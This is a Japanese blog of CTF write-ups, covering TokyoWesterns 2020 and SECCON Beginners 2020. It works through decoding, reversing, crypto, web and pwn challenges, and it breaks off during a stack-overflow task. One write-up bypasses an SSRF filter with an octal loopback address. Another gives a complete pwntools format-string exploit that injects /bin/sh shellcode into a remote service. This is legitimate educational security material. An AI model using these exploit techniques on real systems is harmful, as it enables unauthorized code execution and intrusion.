amaga38のブログ

twitter: @amaga38

TokyoWesterns CTF 6th 2020 Write-up

2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。

mask [misc]

192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192

ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。

# -*- coding: utf-8 -*-
import base64

text = '''192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
'''

mask = text.split()
ans = ''
for m in mask:
    ip, netmask = m.split('/')
    print(ip, netmask)
    ip = ip.split('.')
    nm = netmask.split('.')
    
    # ホスト部を繋いで、4byteの整数値に変換
    t = 0
    for i in range(4):
        tmp = int(ip[i]) & ~(int(nm[i]))
        t += tmp << ((3 - i) * 8)
    print(t, chr(t))
    ans += chr(t)
print(ans)
print(base64.b64decode(ans))
'''
VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ==
b'TWCTF{Are-you-using-a-mask?}'
'''

Flag: TWCTF{Are-you-using-a-mask?}

urlcheck v1 [web] [warmup]

find the flag

http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar

SSRF問題。/check-statusに送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-statusにアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
    matches = app.re_ip.match(ip)
    if matches == None:
        return False
    
    ip = list(map(int, matches.groups()))
    if any(i > 255 for i in ip) == True:
        return False
    # Stay out of my private!
    if ip[0] in [0, 10, 127] \
        or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \
        or (ip[0] == 169 and ip[1] == 254) \
        or (ip[0] == 192 and ip[1] == 168):
        return False
    return True

@app.route('/admin-status')
def admin_status():
    if flask.request.remote_addr != '127.0.0.1':
        return '&#x1f97a;'
    return app.flag

@app.route('/check-status')
def check_status():
    url = flask.request.args.get('url', '')
    if valid_ip(urlparse(url).netloc) == False:
        return '&#x1f97a;'
    return get(url)

正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。

チェックしてもらったURLはhttp://0177.0.0.1/admin-status

Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}

Reversing iS Amazing [reversing] [warmup]

rsa

opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。

f:id:amaga38:20200922015743j:plain

秘密鍵は0xE11~0xE2Aのrep movsq処理で.rodataセクションからコピーされているので、そこから抜き出す。

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./rsa')

start_idx = 0xa91 - 0x960
end_idx = 0xe11 - 0x960
text = elf.section('.text')[start_idx:end_idx]
text = [text[i] for i in range(6, len(text), 7)]
enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text))
print(enc_flag)
print(len(enc_flag))

start_idx = 0x1100 - 0x010a0
seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)]
print(seed)
print(len(seed))

with open('seed.dat', 'wb', buffering=0) as prv_file:
    prv_file.write(seed)

with open('encrypted_flag', 'wb', buffering=0) as prv_file:
    prv_file.write(enc_flag)

あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encryptRSA_public_decryptにしたらうまく復号できた。

  • BIO_new_mem_buf
  • d2i_PrivateKey_bio
  • EVP_PKEY_get1_RSA
  • RSA_private_encrypt
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <openssl/evp.h>
#include <openssl/err.h>

#include <openssl/rsa.h>
#include <openssl/engine.h>

int main(int argc, void *argv[])
{
  char buf[1024] = {0};
  char buf_eflag[1024] = {0};
  char err_buf[256];
  int fd;
  int rc;

  int seed_len, eflag_len;

  fd = open("seed.dat", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf, 0x260);
  printf("rc: %d\n", rc);
  seed_len = rc;
  close(fd);

  fd = open("encrypted_flag", O_RDONLY);
  if (fd == -1) {
    puts("Error: can not open file.");
    return -1;
  }
  rc = read(fd, buf_eflag, 128);
  printf("rc: %d\n", rc);
  eflag_len = rc;
  close(fd);
  
  // RSA
  BIO *bio;
  bio = BIO_new_mem_buf(buf, seed_len);
  if (!bio) {
    puts("Error: bio error.");
    return -1;
  }

  EVP_PKEY *pkey = NULL;
  EVP_PKEY *ptr;
  ptr = d2i_PrivateKey_bio(bio, &pkey);
  if (ptr == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  RSA *rsa;
  rsa = EVP_PKEY_get1_RSA(pkey);
  if (rsa == NULL) {
    printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf));
    return -1;
  }

  
  FILE *fp;
  fp = fopen("tmp_rsa.dat", "wb");
  RSA_print_fp(fp, rsa, 0);
  fclose(fp);

  char buf_dflag[1024] = {0};
  RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1);
  printf("%s\n", buf_dflag);
  return 0;
}

実行結果

$ gcc -o solve solve.c -lssl -lcrypto
$ ./solve
rc: 608
rc: 128
TWCTF{Rivest_Shamir_Adleman}

flag: TWCTF{Rivest_Shamir_Adleman}

easy-hash [crypto] [warmup]

ソースコード: easy_hash.7z

ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo

初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。

(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'

2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた

$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020'
Congrats! The flag is TWCTF{colorfully_decorated_dream}

flag: TWCTF{colorfully_decorated_dream}

nothing more to say 2020 [pwn] [warmup]

4連休楽しんでください!

nothing

nothing.c

nc pwn02.chal.ctf.westerns.tokyo 18247

nothing.cのソースコード。printfで表示される通り、Format String Bugがある。

// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init_proc() {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

void read_string(char* buf, size_t length) {
    ssize_t n;
    n = read(STDIN_FILENO, buf, length);
    if (n == -1)
        exit(1);
    buf[n] = '\0';
}

int main(void) {
    char buf[0x100]; 
    init_proc();
    printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
    while (1) {
        printf("> ");
        read_string(buf, 0x100);
        if (buf[0] == 'q')
            break;
        printf(buf);
    }
    return 0;
}

セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/shを呼ぶようにした。

ソルバーは、以下の流れで処理。

  • %$41$p をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット
  • bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
  • 次のprintf(">");されたときにstack上のshellcodeが実行されて、/bin/sh起動
  • あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*-
from pwn import *
import time

def send_payload(conn, payload=b'', delim=b'>'):
    print('send:', payload)
    conn.send(payload + b'\r\n')
    data = conn.recvuntil(delim)
    print(data)
    return data[:-1]

srv = 'pwn02.chal.ctf.westerns.tokyo'
#srv = 'localhost'
port = 18247

elf = ELF('./nothing')
print(elf.got)
got_printf = elf.got[b'printf']
print('got.printf', hex(got_printf))

conn = remote(srv, port)
data = conn.recvuntil(b'>')
print(data)

# %6$p -> buf
# $39$p -> __libc_start_main + 0xe7
# $41$p -> argv
# $66$p -> *argv

payload = b'%41$p'
data = send_payload(conn, payload).split()
print(data)
argv0_addr = int(data[0], 16)
buf_addr = argv0_addr - 0x1e8  # stackのargv[0]位置からbufの先頭アドレスを逆算
print('buf_addr', hex(buf_addr))

shellcode = b'\x31\xD2\x52\x48'
shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

print('buf addr', hex(buf_addr))
print(hex(int(buf_addr & 0xffffffff00000000)))
print(hex(int(buf_addr & 0xffffffff)))

buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32
buf_addr_low0 = (buf_addr & 0xffff0000) >> 16
buf_addr_low1 = buf_addr & 0xffff

idx_buf = 6
idx_high = 16
idx_low0 = 17
idx_low1 = 18

# create fsb code
fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high)

write_byte = buf_addr_high
write_byte = (0x10000 + buf_addr_low0) - write_byte
fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0)

write_byte = 0x10000 + buf_addr_low0
write_byte = (0x20000 + buf_addr_low1) - write_byte
fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1)

code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1)
padding = '.' * ((idx_high - idx_buf) * 8 - code_len)
code = fsb_high + fsb_low0 + fsb_low1 + padding
code = shellcode + code.encode('utf-8')

# send shellcode
target_addr = got_printf
print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))
conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr))

conn.interactive()
conn.close()

うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。

以上です。

SECCON Beginers CTF 2020 write-up

2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。

MISC

Welcome (50pt)

Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。

Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode (53pt)

Do you know emo-emo-encode?

emoemoencode.txt

テキストの中身は絵文字がひたすら並んでかいてあるだけ。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{になるようにそれぞれの文字の4バイト目を計算してみる。

$ hexdump -C emoemoencode.txt 
00000000  f0 9f 8d a3 f0 9f 8d b4  f0 9f 8d a6 f0 9f 8c b4  |................|
00000010  f0 9f 8d a2 f0 9f 8d bb  f0 9f 8d b3 f0 9f 8d b4  |................|
00000020  f0 9f 8d a5 f0 9f 8d a7  f0 9f 8d a1 f0 9f 8d ae  |................|
00000030  f0 9f 8c b0 f0 9f 8d a7  f0 9f 8d b2 f0 9f 8d a1  |................|
00000040  f0 9f 8d b0 f0 9f 8d a8  f0 9f 8d b9 f0 9f 8d 9f  |................|
00000050  f0 9f 8d a2 f0 9f 8d b9  f0 9f 8d 9f f0 9f 8d a5  |................|
00000060  f0 9f 8d ad f0 9f 8c b0  f0 9f 8c b0 f0 9f 8c b0  |................|
00000070  f0 9f 8c b0 f0 9f 8c b0  f0 9f 8c b0 f0 9f 8d aa  |................|
00000080  f0 9f 8d a9 f0 9f 8d bd  0a                       |.........|
00000089

3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。

def main():
    with open('emoemoencode.txt', 'rb') as f:
        data = f.read().splitlines()[0]

    ans = ''
    for idx in range(0, len(data), 4):
        if data[idx+2] == 0x8D:
            ans += chr(data[idx+3] - 0x40)
        elif data[idx+2] == 0x8C:
            ans += chr(data[idx+3] - 0x80)
    print('FLAG:', ans)

main()

FLAG: ctf4b{stegan0graphy_by_em000000ji}

Crypto

R&B (52pt)

Do you like rhythm and blues?

r_and_b.zip

ファイルの中身は、エンコードしたプログラムとエンコード結果。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")

def rot13(s):
    # snipped

def base64(s):
    # snipped

for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。

import base64
import codecs

def main():
    with open('encoded_flag', 'r') as f:
        encoded_FLAG = f.readline()
    print('encoded:', encoded_FLAG)
    FLAG = encoded_FLAG
    while True:
        t = FLAG
        if t[0] == 'B':
            # decode base64
            FLAG = base64.b64decode(t[1:]).decode('utf-8')
        elif t[0] == 'R':
            # rot13 rev
            FLAG = codecs.decode(t[1:], 'rot13')
        else:
            print(FLAG)
            break

main()

FLAG: ctf4b{rot_base_rot_base_rot_base_base}

Reversing

mask (62pt)

The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。

Usage: ./mask [FLAG]

IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。

f:id:amaga38:20200524145157j:plain
maskのFLAGチェック処理

  • FLAG文字列の各文字 AND 0x75 → atd4`qdedtUpetepqeUdaaeUeaqau
  • FLAG文字列の各文字 AND 0xEB → c`b bk`kj`KbababcaKbacaKiacki

0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。

# -*- coding: utf-8 -*-
s = 'atd4`qdedtUpetepqeUdaaeUeaqau'
s1 = 'c`b bk`kj`KbababcaKbacaKiacki'
ans = ''
for i,j in zip(s, s1):
    ans += chr(ord(i) | ord(j))

print(ans)
# 'ctf4b{dont_reverse_face_mask}'

FLAG: ctf4b{dont_reverse_face_mask}

yakisoba (156pt)

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。

f:id:amaga38:20200524161337j:plain

ソルバー

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 31
    pj = angr.Project('./yakisoba')
    input = claripy.BVS('input', 8*key_len)

    init_state = pj.factory.entry_state(args=['./yakisoba'])
    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)
    # main
    sm.explore(find=0x4006D2, avoid=[0x4006F7])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()

'''
$ python3 solve.py 
WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'
b'FLAG: '
'''

FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost (279pt)

A program written by a ghost 👻

ファイルの中身は、.gs拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル

chall.gs

/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline not { (I/O Error\n) print quit }
if 0 1 2 index length {
    1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch
    } repeat (\n) print quit

output.txt

3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094 

スクリプトの正体はなにかなぁと調査。問題文のwritten by ghostを参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。

このあたりを参考に読み解き。

pythonに直すとこんな感じっぽい。

# -*- coding: utf-8 -*-
flag = ''
output = ''
flag = input('')
if not flag:
    print('I/O Error')
mul = 1
for idx in range(len(flag)):
    get_ord = ord(flag[i])
    tmp = get_ord ^ (idx + 1)
    tmp = tmp * mul
    s = 1
    for j in range(463):
        s *= tmp
        s %= 64711
    print(s)  # output
    s %= 128
    mul = s + 1

ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。

output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094'
output = list(map(int, output.split()))

ans = ''
mul = 1
for idx in range(len(output)):
    for p in range(0x20, 0x7f):
        get_ord = p
        tmp = get_ord ^ (idx + 1)
        tmp = tmp * mul

        s = 1
        for j in range(463):
            s *= tmp
            s %= 64711
        
        if s == output[idx]:
            print(idx, s, chr(p))
            ans += chr(p)

            s %= 128
            mul = s + 1
            break
print('FLAG:', ans)
# FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs (363pt)

Well, they look so similar... siblangs.apk

(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)

APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeappにValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。

f:id:amaga38:20200524163228j:plain

鍵も同じクラスに変数として定義されている。

private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");

コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.GCMParameterSpec;

public class Solve {
    //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    
    public static void main(String[] args) {
        SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        
        byte[] arrayOfByte = new byte[43];
        arrayOfByte[0] = 95;
        arrayOfByte[1] = -59;
        arrayOfByte[2] = -20;
        arrayOfByte[3] = -93;
        arrayOfByte[4] = -70;
        arrayOfByte[5] = 0;
        arrayOfByte[6] = -32;
        arrayOfByte[7] = -93;
        arrayOfByte[8] = -23;
        arrayOfByte[9] = 63;
        arrayOfByte[10] = -9;
        arrayOfByte[11] = 60;
        arrayOfByte[12] = 86;
        arrayOfByte[13] = 123;
        arrayOfByte[14] = -61;
        arrayOfByte[15] = -8;
        arrayOfByte[16] = 17;
        arrayOfByte[17] = -113;
        arrayOfByte[18] = -106;
        arrayOfByte[19] = 28;
        arrayOfByte[20] = 99;
        arrayOfByte[21] = -72;
        arrayOfByte[22] = -3;
        arrayOfByte[23] = 1;
        arrayOfByte[24] = -41;
        arrayOfByte[25] = -123;
        arrayOfByte[26] = 17;
        arrayOfByte[27] = 93;
        arrayOfByte[28] = -36;
        arrayOfByte[29] = 45;
        arrayOfByte[30] = 18;
        arrayOfByte[31] = 71;
        arrayOfByte[32] = 61;
        arrayOfByte[33] = 70;
        arrayOfByte[34] = -117;
        arrayOfByte[35] = -55;
        arrayOfByte[36] = 107;
        arrayOfByte[37] = -75;
        arrayOfByte[38] = -89;
        arrayOfByte[39] = 3;
        arrayOfByte[40] = 94;
        arrayOfByte[41] = -71;
        arrayOfByte[42] = 30;
        
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12);
            cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec);
            arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12);
            
            String s = new String(arrayOfByte);
            System.out.println(s);  // -> '1pt_3verywhere}'
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctfgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。

 grep -r ctf ./siblangs-d/
./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);

怪しい箇所の抜き出し

flagVal:"ctf4b{",
xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
t.handleFlagChange=function(o){
t.setState({flagVal:o})},
                        t.onPressValidateFirstHalf=function(){
                            if("ios"===h.Platform.OS){
                                for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;
                                    n<t.state.xored.length;n++)
                                        if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
                                        return void h.Alert.alert("Validation A Failed","Try again...");

flag文字列とAKeyForios10.3という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。

# coding: utf-8 -*-
flagVal = 'ctf4b{'
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
ios = 'AKeyForios10.3'

ans = ''
for i in range(len(flagVal), len(xored)):
    print(i)
    for f in range(0x20, 0x7e):
        t = f ^ ord(ios[i % len(ios)])
        if t == xored[i]:
            print(i, t, chr(f))
            ans += chr(f)
            break
print(flagVal + ans)
# ctf4b{ctf4b{jav4_and_j4va5cr

後半部分と合わせて完了。

FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Pwn

Beginner's Stack (134pt)

Let's learn how to abuse stack overflow!

nc bs.quals.beginners.seccon.jp 9001

Stack BoFしてwinという関数を呼び出したら勝ちらしい。

実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。

$ ./chall
Your goal is to call `win` function (located at 0x400861)
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffde30d9d38 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde30d9d40 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffde30d9d48 | 0x00007f0183db5190 |
                   +--------------------+
0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main)
                   +--------------------+
